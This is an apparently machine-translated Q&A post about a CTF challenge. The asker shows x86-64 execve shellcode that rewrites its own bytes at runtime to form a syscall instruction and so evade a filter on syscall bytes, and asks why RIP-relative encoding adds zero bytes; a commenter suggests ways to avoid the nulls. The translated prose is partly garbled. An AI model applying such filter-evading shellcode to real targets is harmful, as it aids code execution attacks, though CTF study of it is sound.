我在做某種CTF挑戰,我有一個程序,檢查通過退出字節的緩衝區用戶輸入被傳遞到字節,如果,如果有一個系統調用,SYSENTER或在那裏詮釋80點的指令。ASM RIP相對尋址
我想要做的是編寫修改系統調用指令到一個有效的第二個字節的shellcode。也就是說,輸入的最後兩個字節是\x0f\x01
,我希望shellcode本身覆蓋到\x0f\x05
(系統調用)。
....
21: 31 c0 xor %eax,%eax
23: 88 47 07 mov %al,0x7(%rdi)
26: 48 89 7f 08 mov %rdi,0x8(%rdi)
2a: 48 89 47 10 mov %rax,0x10(%rdi)
2e: 48 8d 77 08 lea 0x8(%rdi),%rsi
32: 48 89 c2 mov %rax,%rdx
35: b0 3b mov $0x3b,%al
37: 0f 05 syscall
,並用兩個額外的指令重寫系統調用:
所以最後的原始的shellcode這個樣子的的幾個指令
...
37: b1 05 mov $0x5,%cl
39: 88 0d 01 00 00 00 mov %cl,0x1(%rip)
3f: 0f 05 syscall
但是,我看到39的編碼一些尾隨零,而23例如它是相似的,但位置相對於rdi而不是rip,不是。
所以我的問題是,它看起來好嗎?如果是這樣的話,爲什麼在rip的情況下會出現零。這是否是一些與rip相關的具體事情,例如4個字節必須遵循?
添加到小丑的答案..你也可以向前跳轉(後面的未來'syscall'位置),這樣做的修改向後('-something(%RIP)')並跳回到新形成的'syscall'。我甚至擔心前面的自我修改指令可能會在某些緩存下滑動,但是x86的目的是爲了抓住這一點,並應該使所有緩存行和預取緩衝區無效,並重新讀取所有要執行的內容(導致只有殘酷的性能損失,但程序員按預期工作)。這是通過定位代碼避免零字節。 Jester的策略是使用不涉及零的算術 – Ped7g